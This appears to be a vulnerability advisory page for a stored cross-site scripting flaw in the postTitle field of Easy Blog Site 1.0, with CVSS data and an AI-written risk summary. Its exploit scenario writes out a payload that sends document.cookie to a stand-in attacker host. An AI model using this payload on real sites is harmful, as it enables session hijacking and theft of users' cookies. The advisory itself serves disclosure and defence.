EUVD-2026-20649
GHSA-fr63-2rfh-2m8c
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
6DescriptionCVE.org
A security vulnerability has been detected in code-projects Easy Blog Site 1.0. This affects an unknown function of the file /posts/update.php. The manipulation of the argument postTitle leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used.
AnalysisAI
Stored cross-site scripting (XSS) in code-projects Easy Blog Site 1.0 allows authenticated remote attackers to inject malicious scripts via the postTitle parameter in /posts/update.php, potentially compromising user sessions and data integrity. The vulnerability requires user interaction (UI:P) and authentication (PR:L), but carries published exploit code and a moderate CVSS score of 5.1, indicating practical exploitation risk in multi-user blog environments.
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Vulnerability AssessmentAI
| Risk Assessment | The CVSS v4.0 score of 5.1 reflects a network-accessible vulnerability with low attack complexity, requiring authentication and user interaction. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated blog contributor with post-editing permissions crafts a malicious post title containing JavaScript payload (e.g., <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'>) and submits it via the /posts/update.php form. The unsanitized payload is stored in the database. … |
| Remediation | Patch availability has not been independently confirmed from vendor sources at the time of analysis. … Detailed patch versions, workarounds, and compensating controls in full report. |
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